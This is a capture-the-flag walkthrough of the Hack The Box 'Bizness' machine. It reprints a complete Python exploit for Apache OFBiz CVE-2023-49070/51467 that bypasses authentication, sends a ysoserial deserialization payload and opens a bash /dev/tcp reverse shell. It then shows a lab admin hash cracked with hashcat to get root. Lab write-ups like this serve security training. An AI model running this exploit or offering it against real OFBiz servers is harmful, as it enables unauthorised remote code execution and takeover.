Hack The Box – Bizness- Complete Guide

Bizness is a Hack The Box machine that involves exploiting vulnerabilities in Apache OFBiz, specifically CVE-2023-49070 and CVE-2023-51467. These vulnerabilities allow for remote code execution, granting attackers access to the system. Once inside, privilege escalation is achieved by cracking an exposed hash found in .dat files within the Derby database.

Info

The information provided on this site is intended for educational purposes only. While we strive to offer accurate and up-to-date content regarding hacking and security, we cannot be held responsible for any misuse or illegal activity conducted with the knowledge gained from this site. Users are solely responsible for their actions and should use this information ethically and within the boundaries of the law.

Nmap Scan

Let’s start with a simple nmap scan on the top 1000 ports.

┌──(kali㉿atropos)-[~]
└─$ sudo nmap 10.10.11.252 -sV
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-21 13:24 EDT
Nmap scan report for bizness.htb (10.10.11.252)
Host is up (0.16s latency).
Not shown: 997 closed tcp ports (reset)
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
80/tcp  open  http     nginx 1.18.0
443/tcp open  ssl/http nginx 1.18.0
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 22.54 seconds

Here we can see that there is a web server running on the 80/443 ports, so we can navigate to the web page and see what’s there, but before we can do that, we must add the bizness.htb to the /etc/hosts file so we can access it.

┌──(kali㉿atropos)-[~]
└─$ cat /etc/hosts   
127.0.0.1       localhost
127.0.1.1       atropos
::1             localhost ip6-localhost ip6-loopback
ff02::1         ip6-allnodes
ff02::2         ip6-allrouters

10.10.11.252 bizness.htb

Initial analysis

Looking in the site, we can see a home page for some kind of corporation:


The input forms don’t seam to be vulnerable to SQL injection or something among those lines, so, let’s enumerate further the web application.

FFUF (Web directory enumeration)

┌──(kali㉿atropos)-[~]
└─$ ffuf -w /usr/share/wordlists/dirbuster/directory-list-1.0.txt -u https://bizness.htb/FUZZ/FUZZ -mc 200

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : https://bizness.htb/FUZZ/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/dirbuster/directory-list-1.0.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200
________________________________________________

#                       [Status: 200, Size: 27200, Words: 9218, Lines: 523, Duration: 187ms]
# Copyright 2007 James Fisher [Status: 200, Size: 27200, Words: 9218, Lines: 523, Duration: 188ms]
# This work is licensed under the Creative Commons  [Status: 200, Size: 27200, Words: 9218, Lines: 523, Duration: 192ms]
# or send a letter to Creative Commons, 171 Second Street,  [Status: 200, Size: 27200, Words: 9218, Lines: 523, Duration: 187ms]
# Suite 300, San Francisco, California, 94105, USA. [Status: 200, Size: 27200, Words: 9218, Lines: 523, Duration: 192ms]
# directory-list-1.0.txt [Status: 200, Size: 27200, Words: 9218, Lines: 523, Duration: 187ms]
#                       [Status: 200, Size: 27200, Words: 9218, Lines: 523, Duration: 185ms]
# Unordered case sensative list, where entries were found  [Status: 200, Size: 27200, Words: 9218, Lines: 523, Duration: 191ms]
#                       [Status: 200, Size: 27200, Words: 9218, Lines: 523, Duration: 181ms]
# license, visit http://creativecommons.org/licenses/by-sa/3.0/  [Status: 200, Size: 27200, Words: 9218, Lines: 523, Duration: 197ms]
# Attribution-Share Alike 3.0 License. To view a copy of this  [Status: 200, Size: 27200, Words: 9218, Lines: 523, Duration: 196ms]
#                       [Status: 200, Size: 27200, Words: 9218, Lines: 523, Duration: 198ms]
                        [Status: 200, Size: 27200, Words: 9218, Lines: 523, Duration: 183ms]
# on atleast 2 host.  This was the first draft of the list. [Status: 200, Size: 27200, Words: 9218, Lines: 523, Duration: 188ms]
control                 [Status: 200, Size: 34636, Words: 10468, Lines: 492, Duration: 227ms]

Here we can see the control page, so let’s go there and see what is there on that page:


That is a good thing, now we know that the target is running Apache OFBiz, so we can start to search for some possible vulnerability. Since this is an OFBiz we can navigate to https://bizness.htb/control/login, in the bottom right corner we can find the version of OFBiz. Searching that version, we can find 2 possible vulnerabilities:

Pre-auth RCE in Apache Ofbiz 18.12.09. It’s due to XML-RPC no longer maintained still present. This issue affects Apache OFBiz: before 18.12.10.  Users are recommended to upgrade to version 18.12.10
https://nvd.nist.gov/vuln/detail/CVE-2023-49070


The vulnerability permits attackers to circumvent authentication processes, enabling them to remotely execute arbitrary code
https://nvd.nist.gov/vuln/detail/CVE-2023-51467

Gaining Access

On GitHub we can find a simple exploit written in Python, made by UserConnecting. The code is very well written, I would really recommend reading it if you want to understand the exploit in details.

import base64
import os
import requests
import subprocess
import sys
import urllib3

usage_msg = """Usage: 
python3 ofbiz_exploit.py target_URL rce command
python3 ofbiz_exploit.py target_URL shell IP:PORT
"""
auth_bypass = "webtools/control/xmlrpc;/?USERNAME=Y&PASSWORD=Y&requirePasswordChange=Y"
ping_test = "webtools/control/ping;/?USERNAME=Y&PASSWORD=Y&requirePasswordChange=Y"
headers = {'Content-Type': 'application/xml'}

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


def generate_revshell(ip, port):
    rev_shell_command = f"bash -i >& /dev/tcp/{ip}/{port} 0>&1"
    encoded_rev_shell_command = base64.b64encode(rev_shell_command.encode()).decode()
    return f'bash -c echo${{IFS}}{encoded_rev_shell_command}|base64${{IFS}}-d|bash'


def generate_xml_payload(arg):
    payload = subprocess.check_output(["java", "-jar", "ysoserial-all.jar", "CommonsBeanutils1", arg])
    base64_payload = base64.b64encode(payload).decode()

    return f"""<?xml version="1.0"?>
    <methodCall>
        <methodName>RCE-Test</methodName>
        <params>
            <param>
                <value>
                    <struct>
                        <member>
                            <name>rce</name>
                            <value>
                                <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">
                                {base64_payload}
                                </serializable>
                            </value>
                        </member>
                    </struct>
                </value>
            </param>
        </params>
    </methodCall>
    """


def rce(url, arg):
    try:
        xml_data = generate_xml_payload(arg)
        r = requests.post(url + auth_bypass, data=xml_data, headers=headers, verify=False)
        if "java.lang.reflect.InvocationTargetException" in r.text:
            print("[+] Exploit completed. [+]")
        else:
            print("[?] It is not possible to be certain of success. The target may not be truly vulnerable. [?]\n"
                  "Check if the reverse shell was established or if there is any command output.")
    except subprocess.CalledProcessError:
        sys.exit("""
        Error. Try changing your current Java version to Java 11: \nsudo apt-get install openjdk-11-jdk
        \nsudo update-alternatives --config java
        """)
    except Exception as e:
        sys.exit(f"Error: {e}")


def shell(url, arg):
    try:
        ip, port = arg.split(":")
        rev_shell_payload = generate_revshell(ip, port)
        rce(url, rev_shell_payload)
    except ValueError:
        sys.exit("Invalid argument. Please use the format IP:PORT.")
    except Exception as e:
        sys.exit(f"Error: {e}")


def main(target_url, action, arg):
    if not os.path.exists("ysoserial-all.jar"):
        sys.exit("Aborting. The ysoserial-all.jar file needs to be in the same directory as the exploit code.")

    target_url = target_url.rstrip("/") + "/"

    if not target_url.startswith(("http://", "https://")):
        sys.exit("""Please enter a valid URL.\nExample: https://targeturl.com""")

    if action == "rce":
        rce(target_url, arg)
    elif action == "shell":
        shell(target_url, arg)
    else:
        sys.exit(usage_msg)


def check_vuln(target_url):
    target_url = target_url.rstrip("/") + "/"

    try:
        response = requests.post(target_url + ping_test, headers=headers, verify=False)

        if "PONG" in response.text:
            print("The target appears to be vulnerable.")
            return True
        else:
            print("The target does not appear to be vulnerable")
            return False
    except requests.RequestException as e:
        sys.exit(f"Error: {e}")


if __name__ == "__main__":
    if len(sys.argv) != 4:
        sys.exit(usage_msg)

    target_url, action, arg = sys.argv[1:4]

    if check_vuln(target_url):
        main(target_url, action, arg)

To use it, we just need to set a netcat listener and execute the shell on the exploit:

┌──(kali㉿atropos)-[~/htb]
└─$ nc -lvnp 8002
listening on [any] 8002 ...
┌──(kali㉿atropos)-[~/htb]
└─$ python3 ofbiz_exploit.py https://bizness.htb shell 10.10.14.135:8002
The target appears to be vulnerable.
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
[?] It is not possible to be certain of success. The target may not be truly vulnerable. [?]
Check if the reverse shell was established or if there is any command output.

Once the exploit is done running we can see that we got a reverse shell back on the netcat. Now is recommendable to spawn a full shell out of the netcat, we can do this by doing the following:

python3 -c 'import pty;pty.spawn("/bin/bash")'
CTRL+Z
stty raw -echo;fg
export TERM=xterm

Now we can proceed to get your user flag:

ofbiz@bizness:~$ pwd
/home/ofbiz
ofbiz@bizness:~$ ls
user.txt
ofbiz@bizness:~$ 

Privilege Escalation

A possible approach

Now for privilege escalation, it’s a troubling part, my first try on privilege escalation is a sudo -l that has no effect on that machine, so, the next step is linpeas, there is an interesting output:

╔══════════╣ Analyzing .service files
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#services                                                                                 
/etc/systemd/system/multi-user.target.wants/ofbiz.service is calling this writable executable: /opt/ofbiz/gradlew                                           
/etc/systemd/system/multi-user.target.wants/ofbiz.service is calling this writable executable: /opt/ofbiz/gradlew
/etc/systemd/system/ofbiz.service is calling this writable executable: /opt/ofbiz/gradlew
/etc/systemd/system/ofbiz.service is calling this writable executable: /opt/ofbiz/gradlew
You can't write on systemd PATH

If we cat the /etc/systemd/system/multi-user.target.wants/ofbiz.service we can see this:

ofbiz@bizness:~$ cat /etc/systemd/system/multi-user.target.wants/ofbiz.service
# OFBiz service

[Unit]
Description=OFBiz Service

[Service]
Type=simple

# environment variables
Environment="JAVA_HOME=/usr/lib/jvm/java-11-openjdk-amd64"
Environment="PATH=/usr/lib/jvm/java-11-openjdk-amd64/bin:/bin:/sbin:/usr/bin:/usr/sbin"

User=ofbiz
WorkingDirectory=/opt/ofbiz

# start and stop executables
# note that systemd requires specifying full/absolute path to executables
ExecStart=/opt/ofbiz/gradlew ofbiz
ExecStop=/opt/ofbiz/gradlew "ofbiz --shutdown"

Restart=Always
RestartSec=10s
RemainAfterExit=no

[Install]
WantedBy=multi-user.target

The Restart=Always parameter on the service ensures that the service is restarted no matters how the service was stopped, and the RestartSec=10s parameters ensures that the service will wait 10 seconds before it restarts. So, as we can see, the gradlew executable is executed on start ExecStart=/opt/ofbiz/gradlew ofbiz.

So, theoretically we can use this to escalate your privileges, we can add a reverse shell on that file and find a way to restart/stop the service, once it comes back on we will have your shell. BUT, the problem is, there is no way (at least that a tried at the moment) to restart the service.

A working approach

Navigating on the ofbiz directory, there is a derby folder, derby is an open source relational database implemented entirely in Java. To find something useful we can grep all the .dat files for an “SHA” string, that way we can find files that are worth looking:

ofbiz@bizness:/opt/ofbiz/runtime/data/derby/ofbiz/seg0$ grep -lR "SHA" 
c5490.dat
c54a1.dat
c54d0.dat
c10.dat
c6650.dat
c1330.dat

On the file c54d0.dat we can find this:

ofbiz@bizness:/opt/ofbiz/runtime/data/derby/ofbiz/seg0$ cat c54d0.dat
v��������Pt�
           �@3��R� �u   �T�U�8501A���<?xml version="1.0" encoding="UTF-8"?>
            <ofbiz-ser>
                <map-HashMap>
                    <map-Entry>
                        <map-Key>
                            <std-String value="recurrenceInfoId"/>
                        </map-Key>
                        <map-Value>
                            <std-String value="400"/>
                        </map-Value>
                    </map-Entry>
                </map-HashMap>
            </ofbiz-ser>

        �
         'O��
             �
              '��
                 �
                  'O��
                      �
                       '�10000CO�J<?xml version="1.0" encoding="UTF-8"?><ofbiz-ser>
    <map-HashMap>
        <map-Entry>
            <map-Key>
                <std-String value="updatedUserLogin"/>
            </map-Key>
            <map-Value>
                <eeval-UserLogin createdStamp="2023-12-16 03:40:23.643" createdTxStamp="2023-12-16 03:40:23.445" currentPassword="$SHA$d$uP0_QaVBpDWFeo8-dRzDqRwXQ2I" enabled="Y" hasLoggedOut="N" lastUpdatedStamp="2023-12-16 03:44:54.272" lastUpdatedTxStamp="2023-12-16 03:44:54.213" requirePasswordChange="N" userLoginId="admin"/>

<SNIP>

There we have a $SHA$d$uP0_QaVBpDWFeo8-dRzDqRwXQ2I, we can now try to crack that hash and get a possible password for root access. But first we need to convert that hash to a standard format. For that, we can use CyberChef, first let’s pull a From Base64 and then a to Hex:


Then we can proceed to hashcat to crack that hash:

┌──(kali㉿atropos)-[~/htb]
└─$ hashcat -a 0 -m 120 hash /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting

OpenCL API (OpenCL 3.0 PoCL 5.0+debian  Linux, None+Asserts, RELOC, SPIR, LLVM 16.0.6, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
==================================================================================================================================================
* Device #1: cpu-sandybridge-Intel(R) Core(TM) i5-9400F CPU @ 2.90GHz, 2918/5901 MB (1024 MB allocatable), 6MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Minimim salt length supported by kernel: 0
Maximum salt length supported by kernel: 256

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Optimizers applied:
* Zero-Byte
* Early-Skip
* Not-Iterated
* Single-Hash
* Single-Salt
* Raw-Hash

ATTENTION! Pure (unoptimized) backend kernels selected.
Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -O to your commandline.
See the above message to find out about the exact limits.

Watchdog: Temperature abort trigger set to 90c

Host memory required for this attack: 1 MB

Dictionary cache built:
* Filename..: /usr/share/wordlists/rockyou.txt                                                                                                              
* Passwords.: 14344392                                                                                                                                      
* Bytes.....: 139921507                                                                                                                                     
* Keyspace..: 14344385                                                                                                                                      
* Runtime...: 2 secs                                                                                                                                        

b8fd3f41a541a435857a8f3e751cc3a91c174362:d:monkeybizness  

So monkeybizness is a password we can try to get root access, and then get your flag:

ofbiz@bizness:/opt/ofbiz/runtime/data/derby/ofbiz/seg0$ su
Password: 
root@bizness:/opt/ofbiz/runtime/data/derby/ofbiz/seg0# cd /root
root@bizness:~# ls
root.txt
root@bizness:~# 

Leave a Reply

Your email address will not be published. Required fields are marked *